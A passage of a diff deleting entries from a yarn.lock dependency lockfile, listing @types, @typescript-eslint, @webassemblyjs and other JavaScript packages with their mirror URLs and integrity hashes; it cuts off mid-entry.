-  resolved "https://registry.yarnpkg.com/@types/invariant/-/invariant-2.2.34.tgz#05e4f79f465c2007884374d4795452f995720bbe"
-  integrity sha512-lYUtmJ9BqUN688fGY1U1HZoWT1/Jrmgigx2loq4ZcJpICECm/Om3V314BxdzypO0u5PORKGMM6x0OXaljV1YFg==
-
-"@types/istanbul-lib-coverage@*", "@types/istanbul-lib-coverage@^2.0.0", "@types/istanbul-lib-coverage@^2.0.1":
-  version "2.0.3"
-  resolved "https://registry.nlark.com/@types/istanbul-lib-coverage/download/@types/istanbul-lib-coverage-2.0.3.tgz?cache=0&sync_timestamp=1621241456732&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40types%2Fistanbul-lib-coverage%2Fdownload%2F%40types%2Fistanbul-lib-coverage-2.0.3.tgz#4ba8ddb720221f432e443bd5f9117fd22cfd4762"
-  integrity sha1-S6jdtyAiH0MuRDvV+RF/0iz9R2I=
-
-"@types/istanbul-lib-report@*":
-  version "3.0.0"
-  resolved "https://registry.nlark.com/@types/istanbul-lib-report/download/@types/istanbul-lib-report-3.0.0.tgz#c14c24f18ea8190c118ee7562b7ff99a36552686"
-  integrity sha1-wUwk8Y6oGQwRjudWK3/5mjZVJoY=
-  dependencies:
-    "@types/istanbul-lib-coverage" "*"
-
-"@types/istanbul-reports@^3.0.0":
-  version "3.0.1"
-  resolved "https://registry.nlark.com/@types/istanbul-reports/download/@types/istanbul-reports-3.0.1.tgz?cache=0&sync_timestamp=1622582672955&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40types%2Fistanbul-reports%2Fdownload%2F%40types%2Fistanbul-reports-3.0.1.tgz#9153fe98bba2bd565a63add9436d6f0d7f8468ff"
-  integrity sha1-kVP+mLuivVZaY63ZQ21vDX+EaP8=
-  dependencies:
-    "@types/istanbul-lib-report" "*"
-
-"@types/jest@*":
-  version "26.0.23"
-  resolved "https://registry.nlark.com/@types/jest/download/@types/jest-26.0.23.tgz#a1b7eab3c503b80451d019efb588ec63522ee4e7"
-  integrity sha1-obfqs8UDuARR0BnvtYjsY1Iu5Oc=
-  dependencies:
-    jest-diff "^26.0.0"
-    pretty-format "^26.0.0"
-
-"@types/json-schema@*", "@types/json-schema@^7.0.3", "@types/json-schema@^7.0.5", "@types/json-schema@^7.0.6", "@types/json-schema@^7.0.7":
-  version "7.0.7"
-  resolved "https://registry.nlark.com/@types/json-schema/download/@types/json-schema-7.0.7.tgz#98a993516c859eb0d5c4c8f098317a9ea68db9ad"
-  integrity sha1-mKmTUWyFnrDVxMjwmDF6nqaNua0=
-
-"@types/json5@^0.0.29":
-  version "0.0.29"
-  resolved "https://registry.npm.taobao.org/@types/json5/download/@types/json5-0.0.29.tgz#ee28707ae94e11d2b827bcbe5270bcea7f3e71ee"
-  integrity sha1-7ihweulOEdK4J7y+UnC86n8+ce4=
-
-"@types/minimatch@*":
-  version "3.0.4"
-  resolved "https://registry.nlark.com/@types/minimatch/download/@types/minimatch-3.0.4.tgz?cache=0&sync_timestamp=1621241868071&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40types%2Fminimatch%2Fdownload%2F%40types%2Fminimatch-3.0.4.tgz#f0ec25dbf2f0e4b18647313ac031134ca5b24b21"
-  integrity sha1-8Owl2/Lw5LGGRzE6wDETTKWySyE=
-
-"@types/node@*":
-  version "15.12.1"
-  resolved "https://registry.nlark.com/@types/node/download/@types/node-15.12.1.tgz?cache=0&sync_timestamp=1622824584187&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40types%2Fnode%2Fdownload%2F%40types%2Fnode-15.12.1.tgz#9b60797dee1895383a725f828a869c86c6caa5c2"
-  integrity sha1-m2B5fe4YlTg6cl+CioachsbKpcI=
-
-"@types/normalize-package-data@^2.4.0":
-  version "2.4.0"
-  resolved "https://registry.nlark.com/@types/normalize-package-data/download/@types/normalize-package-data-2.4.0.tgz?cache=0&sync_timestamp=1621242027779&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40types%2Fnormalize-package-data%2Fdownload%2F%40types%2Fnormalize-package-data-2.4.0.tgz#e486d0d97396d79beedd0a6e33f4534ff6b4973e"
-  integrity sha1-5IbQ2XOW15vu3QpuM/RTT/a0lz4=
-
-"@types/parse-json@^4.0.0":
-  version "4.0.0"
-  resolved "https://registry.nlark.com/@types/parse-json/download/@types/parse-json-4.0.0.tgz?cache=0&sync_timestamp=1621242117704&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40types%2Fparse-json%2Fdownload%2F%40types%2Fparse-json-4.0.0.tgz#2f8bb441434d163b35fb8ffdccd7138927ffb8c0"
-  integrity sha1-L4u0QUNNFjs1+4/9zNcTiSf/uMA=
-
-"@types/prettier@^2.0.0":
-  version "2.2.3"
-  resolved "https://registry.nlark.com/@types/prettier/download/@types/prettier-2.2.3.tgz?cache=0&sync_timestamp=1621242223838&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40types%2Fprettier%2Fdownload%2F%40types%2Fprettier-2.2.3.tgz#ef65165aea2924c9359205bf748865b8881753c0"
-  integrity sha1-72UWWuopJMk1kgW/dIhluIgXU8A=
-
-"@types/prop-types@*", "@types/prop-types@^15.7.3":
-  version "15.7.3"
-  resolved "https://registry.yarnpkg.com/@types/prop-types/-/prop-types-15.7.3.tgz#2ab0d5da2e5815f94b0b9d4b95d1e5f243ab2ca7"
-  integrity sha512-KfRL3PuHmqQLOG+2tGpRO26Ctg+Cq1E01D2DMriKEATHgWLfeNDmq9e29Q9WIky0dQ3NPkd1mzYH8Lm936Z9qw==
-
-"@types/q@^1.5.1":
-  version "1.5.4"
-  resolved "https://registry.nlark.com/@types/q/download/@types/q-1.5.4.tgz?cache=0&sync_timestamp=1621242400776&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40types%2Fq%2Fdownload%2F%40types%2Fq-1.5.4.tgz#15925414e0ad2cd765bfef58842f7e26a7accb24"
-  integrity sha1-FZJUFOCtLNdlv+9YhC9+JqesyyQ=
-
-"@types/react-transition-group@^4.4.1":
-  version "4.4.1"
-  resolved "https://registry.yarnpkg.com/@types/react-transition-group/-/react-transition-group-4.4.1.tgz#e1a3cb278df7f47f17b5082b1b3da17170bd44b1"
-  integrity sha512-vIo69qKKcYoJ8wKCJjwSgCTM+z3chw3g18dkrDfVX665tMH7tmbDxEAnPdey4gTlwZz5QuHGzd+hul0OVZDqqQ==
-  dependencies:
-    "@types/react" "*"
-
-"@types/react@*", "@types/react@>=16.14.8", "@types/react@>=16.9.11":
-  version "17.0.11"
-  resolved "https://registry.yarnpkg.com/@types/react/-/react-17.0.11.tgz#67fcd0ddbf5a0b083a0f94e926c7d63f3b836451"
-  integrity sha512-yFRQbD+whVonItSk7ZzP/L+gPTJVBkL/7shLEF+i9GC/1cV3JmUxEQz6+9ylhUpWSDuqo1N9qEvqS6vTj4USUA==
-  dependencies:
-    "@types/prop-types" "*"
-    "@types/scheduler" "*"
-    csstype "^3.0.2"
-
-"@types/resolve@0.0.8":
-  version "0.0.8"
-  resolved "https://registry.nlark.com/@types/resolve/download/@types/resolve-0.0.8.tgz?cache=0&sync_timestamp=1621242543115&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40types%2Fresolve%2Fdownload%2F%40types%2Fresolve-0.0.8.tgz#f26074d238e02659e323ce1a13d041eee280e194"
-  integrity sha1-8mB00jjgJlnjI84aE9BB7uKA4ZQ=
-  dependencies:
-    "@types/node" "*"
-
-"@types/scheduler@*":
-  version "0.16.1"
-  resolved "https://registry.yarnpkg.com/@types/scheduler/-/scheduler-0.16.1.tgz#18845205e86ff0038517aab7a18a62a6b9f71275"
-  integrity sha512-EaCxbanVeyxDRTQBkdLb3Bvl/HK7PBK6UJjsSixB0iHKoWxE5uu2Q/DgtpOhPIojN0Zl1whvOd7PoHs2P0s5eA==
-
-"@types/source-list-map@*":
-  version "0.1.2"
-  resolved "https://registry.nlark.com/@types/source-list-map/download/@types/source-list-map-0.1.2.tgz#0078836063ffaf17412349bba364087e0ac02ec9"
-  integrity sha1-AHiDYGP/rxdBI0m7o2QIfgrALsk=
-
-"@types/stack-utils@^2.0.0":
-  version "2.0.0"
-  resolved "https://registry.nlark.com/@types/stack-utils/download/@types/stack-utils-2.0.0.tgz#7036640b4e21cc2f259ae826ce843d277dad8cff"
-  integrity sha1-cDZkC04hzC8lmugmzoQ9J32tjP8=
-
-"@types/tapable@^1", "@types/tapable@^1.0.5":
-  version "1.0.7"
-  resolved "https://registry.nlark.com/@types/tapable/download/@types/tapable-1.0.7.tgz?cache=0&sync_timestamp=1621243847095&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40types%2Ftapable%2Fdownload%2F%40types%2Ftapable-1.0.7.tgz#545158342f949e8fd3bfd813224971ecddc3fac4"
-  integrity sha1-VFFYNC+Uno/Tv9gTIklx7N3D+sQ=
-
-"@types/testing-library__jest-dom@^5.9.1":
-  version "5.9.5"
-  resolved "https://registry.nlark.com/@types/testing-library__jest-dom/download/@types/testing-library__jest-dom-5.9.5.tgz?cache=0&sync_timestamp=1621244003851&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40types%2Ftesting-library__jest-dom%2Fdownload%2F%40types%2Ftesting-library__jest-dom-5.9.5.tgz#5bf25c91ad2d7b38f264b12275e5c92a66d849b0"
-  integrity sha1-W/Jcka0tezjyZLEideXJKmbYSbA=
-  dependencies:
-    "@types/jest" "*"
-
-"@types/uglify-js@*":
-  version "3.13.0"
-  resolved "https://registry.nlark.com/@types/uglify-js/download/@types/uglify-js-3.13.0.tgz?cache=0&sync_timestamp=1621243851839&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40types%2Fuglify-js%2Fdownload%2F%40types%2Fuglify-js-3.13.0.tgz#1cad8df1fb0b143c5aba08de5712ea9d1ff71124"
-  integrity sha1-HK2N8fsLFDxaugjeVxLqnR/3ESQ=
-  dependencies:
-    source-map "^0.6.1"
-
-"@types/warning@^3.0.0":
-  version "3.0.0"
-  resolved "https://registry.yarnpkg.com/@types/warning/-/warning-3.0.0.tgz#0d2501268ad8f9962b740d387c4654f5f8e23e52"
-  integrity sha1-DSUBJorY+ZYrdA04fEZU9fjiPlI=
-
-"@types/webpack-sources@*":
-  version "2.1.0"
-  resolved "https://registry.nlark.com/@types/webpack-sources/download/@types/webpack-sources-2.1.0.tgz?cache=0&sync_timestamp=1621243863278&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40types%2Fwebpack-sources%2Fdownload%2F%40types%2Fwebpack-sources-2.1.0.tgz#8882b0bd62d1e0ce62f183d0d01b72e6e82e8c10"
-  integrity sha1-iIKwvWLR4M5i8YPQ0Bty5ugujBA=
-  dependencies:
-    "@types/node" "*"
-    "@types/source-list-map" "*"
-    source-map "^0.7.3"
-
-"@types/webpack@^4.41.8":
-  version "4.41.29"
-  resolved "https://registry.nlark.com/@types/webpack/download/@types/webpack-4.41.29.tgz#2e66c1de8223c440366469415c50a47d97625773"
-  integrity sha1-LmbB3oIjxEA2ZGlBXFCkfZdiV3M=
-  dependencies:
-    "@types/node" "*"
-    "@types/tapable" "^1"
-    "@types/uglify-js" "*"
-    "@types/webpack-sources" "*"
-    anymatch "^3.0.0"
-    source-map "^0.6.0"
-
-"@types/yargs-parser@*":
-  version "20.2.0"
-  resolved "https://registry.nlark.com/@types/yargs-parser/download/@types/yargs-parser-20.2.0.tgz#dd3e6699ba3237f0348cd085e4698780204842f9"
-  integrity sha1-3T5mmboyN/A0jNCF5GmHgCBIQvk=
-
-"@types/yargs@^15.0.0":
-  version "15.0.13"
-  resolved "https://registry.nlark.com/@types/yargs/download/@types/yargs-15.0.13.tgz?cache=0&sync_timestamp=1621593435560&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40types%2Fyargs%2Fdownload%2F%40types%2Fyargs-15.0.13.tgz#34f7fec8b389d7f3c1fd08026a5763e072d3c6dc"
-  integrity sha1-NPf+yLOJ1/PB/QgCaldj4HLTxtw=
-  dependencies:
-    "@types/yargs-parser" "*"
-
-"@typescript-eslint/eslint-plugin@^4.5.0":
-  version "4.26.0"
-  resolved "https://registry.nlark.com/@typescript-eslint/eslint-plugin/download/@typescript-eslint/eslint-plugin-4.26.0.tgz#12bbd6ebd5e7fabd32e48e1e60efa1f3554a3242"
-  integrity sha1-ErvW69Xn+r0y5I4eYO+h81VKMkI=
-  dependencies:
-    "@typescript-eslint/experimental-utils" "4.26.0"
-    "@typescript-eslint/scope-manager" "4.26.0"
-    debug "^4.3.1"
-    functional-red-black-tree "^1.0.1"
-    lodash "^4.17.21"
-    regexpp "^3.1.0"
-    semver "^7.3.5"
-    tsutils "^3.21.0"
-
-"@typescript-eslint/experimental-utils@4.26.0", "@typescript-eslint/experimental-utils@^4.0.1":
-  version "4.26.0"
-  resolved "https://registry.nlark.com/@typescript-eslint/experimental-utils/download/@typescript-eslint/experimental-utils-4.26.0.tgz#ba7848b3f088659cdf71bce22454795fc55be99a"
-  integrity sha1-unhIs/CIZZzfcbziJFR5X8Vb6Zo=
-  dependencies:
-    "@types/json-schema" "^7.0.7"
-    "@typescript-eslint/scope-manager" "4.26.0"
-    "@typescript-eslint/types" "4.26.0"
-    "@typescript-eslint/typescript-estree" "4.26.0"
-    eslint-scope "^5.1.1"
-    eslint-utils "^3.0.0"
-
-"@typescript-eslint/experimental-utils@^3.10.1":
-  version "3.10.1"
-  resolved "https://registry.nlark.com/@typescript-eslint/experimental-utils/download/@typescript-eslint/experimental-utils-3.10.1.tgz#e179ffc81a80ebcae2ea04e0332f8b251345a686"
-  integrity sha1-4Xn/yBqA68ri6gTgMy+LJRNFpoY=
-  dependencies:
-    "@types/json-schema" "^7.0.3"
-    "@typescript-eslint/types" "3.10.1"
-    "@typescript-eslint/typescript-estree" "3.10.1"
-    eslint-scope "^5.0.0"
-    eslint-utils "^2.0.0"
-
-"@typescript-eslint/parser@^4.5.0":
-  version "4.26.0"
-  resolved "https://registry.nlark.com/@typescript-eslint/parser/download/@typescript-eslint/parser-4.26.0.tgz?cache=0&sync_timestamp=1623010265066&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40typescript-eslint%2Fparser%2Fdownload%2F%40typescript-eslint%2Fparser-4.26.0.tgz#31b6b732c9454f757b020dab9b6754112aa5eeaf"
-  integrity sha1-Mba3MslFT3V7Ag2rm2dUESql7q8=
-  dependencies:
-    "@typescript-eslint/scope-manager" "4.26.0"
-    "@typescript-eslint/types" "4.26.0"
-    "@typescript-eslint/typescript-estree" "4.26.0"
-    debug "^4.3.1"
-
-"@typescript-eslint/scope-manager@4.26.0":
-  version "4.26.0"
-  resolved "https://registry.nlark.com/@typescript-eslint/scope-manager/download/@typescript-eslint/scope-manager-4.26.0.tgz?cache=0&sync_timestamp=1623015538411&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40typescript-eslint%2Fscope-manager%2Fdownload%2F%40typescript-eslint%2Fscope-manager-4.26.0.tgz#60d1a71df162404e954b9d1c6343ff3bee496194"
-  integrity sha1-YNGnHfFiQE6VS50cY0P/O+5JYZQ=
-  dependencies:
-    "@typescript-eslint/types" "4.26.0"
-    "@typescript-eslint/visitor-keys" "4.26.0"
-
-"@typescript-eslint/types@3.10.1":
-  version "3.10.1"
-  resolved "https://registry.nlark.com/@typescript-eslint/types/download/@typescript-eslint/types-3.10.1.tgz#1d7463fa7c32d8a23ab508a803ca2fe26e758727"
-  integrity sha1-HXRj+nwy2KI6tQioA8ov4m51hyc=
-
-"@typescript-eslint/types@4.26.0":
-  version "4.26.0"
-  resolved "https://registry.nlark.com/@typescript-eslint/types/download/@typescript-eslint/types-4.26.0.tgz#7c6732c0414f0a69595f4f846ebe12616243d546"
-  integrity sha1-fGcywEFPCmlZX0+Ebr4SYWJD1UY=
-
-"@typescript-eslint/typescript-estree@3.10.1":
-  version "3.10.1"
-  resolved "https://registry.nlark.com/@typescript-eslint/typescript-estree/download/@typescript-eslint/typescript-estree-3.10.1.tgz#fd0061cc38add4fad45136d654408569f365b853"
-  integrity sha1-/QBhzDit1PrUUTbWVECFafNluFM=
-  dependencies:
-    "@typescript-eslint/types" "3.10.1"
-    "@typescript-eslint/visitor-keys" "3.10.1"
-    debug "^4.1.1"
-    glob "^7.1.6"
-    is-glob "^4.0.1"
-    lodash "^4.17.15"
-    semver "^7.3.2"
-    tsutils "^3.17.1"
-
-"@typescript-eslint/typescript-estree@4.26.0":
-  version "4.26.0"
-  resolved "https://registry.nlark.com/@typescript-eslint/typescript-estree/download/@typescript-eslint/typescript-estree-4.26.0.tgz#aea17a40e62dc31c63d5b1bbe9a75783f2ce7109"
-  integrity sha1-rqF6QOYtwxxj1bG76adXg/LOcQk=
-  dependencies:
-    "@typescript-eslint/types" "4.26.0"
-    "@typescript-eslint/visitor-keys" "4.26.0"
-    debug "^4.3.1"
-    globby "^11.0.3"
-    is-glob "^4.0.1"
-    semver "^7.3.5"
-    tsutils "^3.21.0"
-
-"@typescript-eslint/visitor-keys@3.10.1":
-  version "3.10.1"
-  resolved "https://registry.nlark.com/@typescript-eslint/visitor-keys/download/@typescript-eslint/visitor-keys-3.10.1.tgz#cd4274773e3eb63b2e870ac602274487ecd1e931"
-  integrity sha1-zUJ0dz4+tjsuhwrGAidEh+zR6TE=
-  dependencies:
-    eslint-visitor-keys "^1.1.0"
-
-"@typescript-eslint/visitor-keys@4.26.0":
-  version "4.26.0"
-  resolved "https://registry.nlark.com/@typescript-eslint/visitor-keys/download/@typescript-eslint/visitor-keys-4.26.0.tgz#26d2583169222815be4dcd1da4fe5459bc3bcc23"
-  integrity sha1-JtJYMWkiKBW+Tc0dpP5UWbw7zCM=
-  dependencies:
-    "@typescript-eslint/types" "4.26.0"
-    eslint-visitor-keys "^2.0.0"
-
-"@webassemblyjs/ast@1.9.0":
-  version "1.9.0"
-  resolved "https://registry.npm.taobao.org/@webassemblyjs/ast/download/@webassemblyjs/ast-1.9.0.tgz#bd850604b4042459a5a41cd7d338cbed695ed964"
-  integrity sha1-vYUGBLQEJFmlpBzX0zjL7Wle2WQ=
-  dependencies:
-    "@webassemblyjs/helper-module-context" "1.9.0"
-    "@webassemblyjs/helper-wasm-bytecode" "1.9.0"
-    "@webassemblyjs/wast-parser" "1.9.0"
-
-"@webassemblyjs/floating-point-hex-parser@1.9.0":
-  version "1.9.0"
-  resolved "https://registry.npm.taobao.org/@webassemblyjs/floating-point-hex-parser/download/@webassemblyjs/floating-point-hex-parser-1.9.0.tgz?cache=0&sync_timestamp=1610044909971&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2F%40webassemblyjs%2Ffloating-point-hex-parser%2Fdownload%2F%40webassemblyjs%2Ffloating-point-hex-parser-1.9.0.tgz#3c3d3b271bddfc84deb00f71344438311d52ffb4"
-  integrity sha1-PD07Jxvd/ITesA9xNEQ4MR1S/7Q=
-
-"@webassemblyjs/helper-api-error@1.9.0":
-  version "1.9.0"
-  resolved "https://registry.npm.taobao.org/@webassemblyjs/helper-api-error/download/@webassemblyjs/helper-api-error-1.9.0.tgz?cache=0&sync_timestamp=1610041208312&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2F%40webassemblyjs%2Fhelper-api-error%2Fdownload%2F%40webassemblyjs%2Fhelper-api-error-1.9.0.tgz#203f676e333b96c9da2eeab3ccef33c45928b6a2"
-  integrity sha1-ID9nbjM7lsnaLuqzzO8zxFkotqI=
-
-"@webassemblyjs/helper-buffer@1.9.0":
-  version "1.9.0"
-  resolved "https://registry.npm.taobao.org/@webassemblyjs/helper-buffer/download/@webassemblyjs/helper-buffer-1.9.0.tgz#a1442d269c5feb23fcbc9ef759dac3547f29de00"
-  integrity sha1-oUQtJpxf6yP8vJ73WdrDVH8p3gA=
-
-"@webassemblyjs/helper-code-frame@1.9.0":
-  version "1.9.0"
-  resolved "https://registry.npm.taobao.org/@webassemblyjs/helper-code-frame/download/@webassemblyjs/helper-code-frame-1.9.0.tgz#647f8892cd2043a82ac0c8c5e75c36f1d9159f27"
-  integrity sha1-ZH+Iks0gQ6gqwMjF51w28dkVnyc=
-  dependencies:
-    "@webassemblyjs/wast-printer" "1.9.0"
-
-"@webassemblyjs/helper-fsm@1.9.0":
-  version "1.9.0"
-  resolved "https://registry.npm.taobao.org/@webassemblyjs/helper-fsm/download/@webassemblyjs/helper-fsm-1.9.0.tgz#c05256b71244214671f4b08ec108ad63b70eddb8"
-  integrity sha1-wFJWtxJEIUZx9LCOwQitY7cO3bg=
-
-"@webassemblyjs/helper-module-context@1.9.0":
-  version "1.9.0"
-  resolved "https://registry.npm.taobao.org/@webassemblyjs/helper-module-context/download/@webassemblyjs/helper-module-context-1.9.0.tgz#25d8884b76839871a08a6c6f806c3979ef712f07"
-  integrity sha1-JdiIS3aDmHGgimxvgGw5ee9xLwc=
-  dependencies:
-    "@webassemblyjs/ast" "1.9.0"
-
-"@webassemblyjs/helper-wasm-bytecode@1.9.0":
-  version "1.9.0"
-  resolved "https://registry.npm.taobao.org/@webassemblyjs/helper-wasm-bytecode/download/@webassemblyjs/helper-wasm-bytecode-1.9.0.tgz?cache=0&sync_timestamp=1610041207935&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2F%40webassemblyjs%2Fhelper-wasm-bytecode%2Fdownload%2F%40webassemblyjs%2Fhelper-wasm-bytecode-1.9.0.tgz#4fed8beac9b8c14f8c58b70d124d549dd1fe5790"
-  integrity sha1-T+2L6sm4wU+MWLcNEk1UndH+V5A=
-
-"@webassemblyjs/helper-wasm-section@1.9.0":
-  version "1.9.0"
-  resolved "https://registry.npm.taobao.org/@webassemblyjs/helper-wasm-section/download/@webassemblyjs/helper-wasm-section-1.9.0.tgz?cache=0&sync_timestamp=1610043135816&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2F%40webassemblyjs%2Fhelper-wasm-section%2Fdownload%2F%40webassemblyjs%2Fhelper-wasm-section-1.9.0.tgz#5a4138d5a6292ba18b04c5ae49717e4167965346"
-  integrity sha1-WkE41aYpK6GLBMWuSXF+QWeWU0Y=
-  dependencies:
-    "@webassemblyjs/ast" "1.9.0"
-    "@webassemblyjs/helper-buffer" "1.9.0"
-    "@webassemblyjs/helper-wasm-bytecode" "1.9.0"
-    "@webassemblyjs/wasm-gen" "1.9.0"
-
-"@webassemblyjs/ieee754@1.9.0":
-  version "1.9.0"
-  resolved "https://registry.npm.taobao.org/@webassemblyjs/ieee754/download/@webassemblyjs/ieee754-1.9.0.tgz?cache=0&sync_timestamp=1610041205525&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2F%40webassemblyjs%2Fieee754%2Fdownload%2F%40webassemblyjs%2Fieee754-1.9.0.tgz#15c7a0fbaae83fb26143bbacf6d6df1702ad39e4"
-  integrity sha1-Fceg+6roP7JhQ7us9tbfFwKtOeQ=
-  dependencies:
-    "@xtuc/ieee754" "^1.2.0"
-
-"@webassemblyjs/leb128@1.9.0":
-  version "1.9.0"
-  resolved "https://registry.npm.taobao.org/@webassemblyjs/leb128/download/@webassemblyjs/leb128-1.9.0.tgz?cache=0&sync_timestamp=1610041205334&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2F%40webassemblyjs%2Fleb128%2Fdownload%2F%40webassemblyjs%2Fleb128-1.9.0.tgz#f19ca0b76a6dc55623a09cffa769e838fa1e1c95"
-  integrity sha1-8Zygt2ptxVYjoJz/p2noOPoeHJU=
-  dependencies:
-    "@xtuc/long" "4.2.2"
-
-"@webassemblyjs/utf8@1.9.0":
-  version "1.9.0"
-  resolved "https://registry.npm.taobao.org/@webassemblyjs/utf8/download/@webassemblyjs/utf8-1.9.0.tgz?cache=0&sync_timestamp=1610041205627&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2F%40webassemblyjs%2Futf8%2Fdownload%2F%40webassemblyjs%2Futf8-1.9.0.tgz#04d33b636f78e6a6813227e82402f7637b6229ab"
-  integrity sha1-BNM7Y2945qaBMifoJAL3Y3tiKas=
-
-"@webassemblyjs/wasm-edit@1.9.0":
-  version "1.9.0"
-  resolved "https://registry.npm.taobao.org/@webassemblyjs/wasm-edit/download/@webassemblyjs/wasm-edit-1.9.0.tgz#3fe6d79d3f0f922183aa86002c42dd256cfee9cf"
-  integrity sha1-P+bXnT8PkiGDqoYALELdJWz+6c8=
-  dependencies:
-    "@webassemblyjs/ast" "1.9.0"
-    "@webassemblyjs/helper-buffer" "1.9.0"
-    "@webassemblyjs/helper-wasm-bytecode" "1.9.0"
-    "@webassemblyjs/helper-wasm-section" "1.9.0"
-    "@webassemblyjs/wasm-gen" "1.9.0"
-    "@webassemblyjs/wasm-opt" "1.9.0"
-    "@webassemblyjs/wasm-parser" "1.9.0"
-    "@webassemblyjs/wast-printer" "1.9.0"
-
-"@webassemblyjs/wasm-gen@1.9.0":
-  version "1.9.0"
-  resolved "https://registry.npm.taobao.org/@webassemblyjs/wasm-gen/download/@webassemblyjs/wasm-gen-1.9.0.tgz#50bc70ec68ded8e2763b01a1418bf43491a7a49c"
-  integrity sha1-ULxw7Gje2OJ2OwGhQYv0NJGnpJw=
-  dependencies:
-    "@webassemblyjs/ast" "1.9.0"
-    "@webassemblyjs/helper-wasm-bytecode" "1.9.0"
-    "@webassemblyjs/ieee754" "1.9.0"
-    "@webassemblyjs/leb128" "1.9.0"
-    "@webassemblyjs/utf8" "1.9.0"
-
-"@webassemblyjs/wasm-opt@1.9.0":
-  version "1.9.0"
-  resolved "https://registry.npm.taobao.org/@webassemblyjs/wasm-opt/download/@webassemblyjs/wasm-opt-1.9.0.tgz?cache=0&sync_timestamp=1610041206776&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2F%40webassemblyjs%2Fwasm-opt%2Fdownload%2F%40webassemblyjs%2Fwasm-opt-1.9.0.tgz#2211181e5b31326443cc8112eb9f0b9028721a61"
-  integrity sha1-IhEYHlsxMmRDzIES658LkChyGmE=
-  dependencies:
-    "@webassemblyjs/ast" "1.9.0"
-    "@webassemblyjs/helper-buffer" "1.9.0"
-    "@webassemblyjs/wasm-gen" "1.9.0"
-    "@webassemblyjs/wasm-parser" "1.9.0"
-
-"@webassemblyjs/wasm-parser@1.9.0":
-  version "1.9.0"
-  resolved "https://registry.npm.taobao.org/@webassemblyjs/wasm-parser/download/@webassemblyjs/wasm-parser-1.9.0.tgz#9d48e44826df4a6598294aa6c87469d642fff65e"
-  integrity sha1-nUjkSCbfSmWYKUqmyHRp1kL/9l4=
-  dependencies:
-    "@webassemblyjs/ast" "1.9.0"
-    "@webassemblyjs/helper-api-error" "1.9.0"
-    "@webassemblyjs/helper-wasm-bytecode" "1.9.0"
-    "@webassemblyjs/ieee754" "1.9.0"
-    "@webassemblyjs/leb128" "1.9.0"
-    "@webassemblyjs/utf8" "1.9.0"
-
-"@webassemblyjs/wast-parser@1.9.0":
-  version "1.9.0"
-  resolved "https://registry.npm.taobao.org/@webassemblyjs/wast-parser/download/@webassemblyjs/wast-parser-1.9.0.tgz#3031115d79ac5bd261556cecc3fa90a3ef451914"
-  integrity sha1-MDERXXmsW9JhVWzsw/qQo+9FGRQ=
-  dependencies:
-    "@webassemblyjs/ast" "1.9.0"
-    "@webassemblyjs/floating-point-hex-parser" "1.9.0"
-    "@webassemblyjs/helper-api-error" "1.9.0"
-    "@webassemblyjs/helper-code-frame" "1.9.0"
-    "@webassemblyjs/helper-fsm" "1.9.0"
-    "@xtuc/long" "4.2.2"
-
-"@webassemblyjs/wast-printer@1.9.0":
-  version "1.9.0"
-  resolved "https://registry.npm.taobao.org/@webassemblyjs/wast-printer/download/@webassemblyjs/wast-printer-1.9.0.tgz#4935d54c85fef637b00ce9f52377451d00d47899"
-  integrity sha1-STXVTIX+9jewDOn1I3dFHQDUeJk=
-  dependencies:
-    "@webassemblyjs/ast" "1.9.0"
-    "@webassemblyjs/wast-parser" "1.9.0"
-    "@xtuc/long" "4.2.2"
-
-"@xtuc/ieee754@^1.2.0":
-  version "1.2.0"
-  resolved "https://registry.npm.taobao.org/@xtuc/ieee754/download/@xtuc/ieee754-1.2.0.tgz#eef014a3145ae477a1cbc00cd1e552336dceb790"
-  integrity sha1-7vAUoxRa5Hehy8AM0eVSM23Ot5A=
-
-"@xtuc/long@4.2.2":
-  version "4.2.2"
-  resolved "https://registry.npm.taobao.org/@xtuc/long/download/@xtuc/long-4.2.2.tgz#d291c6a4e97989b5c61d9acf396ae4fe133a718d"
-  integrity sha1-0pHGpOl5ibXGHZrPOWrk/hM6cY0=
-
-abab@^2.0.3, abab@^2.0.5:
-  version "2.0.5"
-  resolved "https://registry.npm.taobao.org/abab/download/abab-2.0.5.tgz#c0b678fb32d60fc1219c784d6a826fe385aeb79a"
-  integrity sha1-wLZ4+zLWD8EhnHhNaoJv44Wut5o=
-
-accepts@~1.3.4, accepts@~1.3.5, accepts@~1.3.7:
-  version "1.3.7"
-  resolved "https://registry.npm.taobao.org/accepts/download/accepts-1.3.7.tgz#531bc726517a3b2b41f850021c6cc15eaab507cd"
-  integrity sha1-UxvHJlF6OytB+FACHGzBXqq1B80=
-  dependencies:
-    mime-types "~2.1.24"
-    negotiator "0.6.2"
-
-acorn-globals@^6.0.0:
-  version "6.0.0"
-  resolved "https://registry.nlark.com/acorn-globals/download/acorn-globals-6.0.0.tgz#46cdd39f0f8ff08a876619b55f5ac8a6dc770b45"
-  integrity sha1-Rs3Tnw+P8IqHZhm1X1rIptx3C0U=
-  dependencies:
-    acorn "^7.1.1"
-    acorn-walk "^7.1.1"
-
-acorn-jsx@^5.3.1:
-  version "5.3.1"
-  resolved "https://registry.npm.taobao.org/acorn-jsx/download/acorn-jsx-5.3.1.tgz#fc8661e11b7ac1539c47dbfea2e72b3af34d267b"
-  integrity sha1-/IZh4Rt6wVOcR9v+oucrOvNNJns=
-
-acorn-walk@^7.1.1:
-  version "7.2.0"
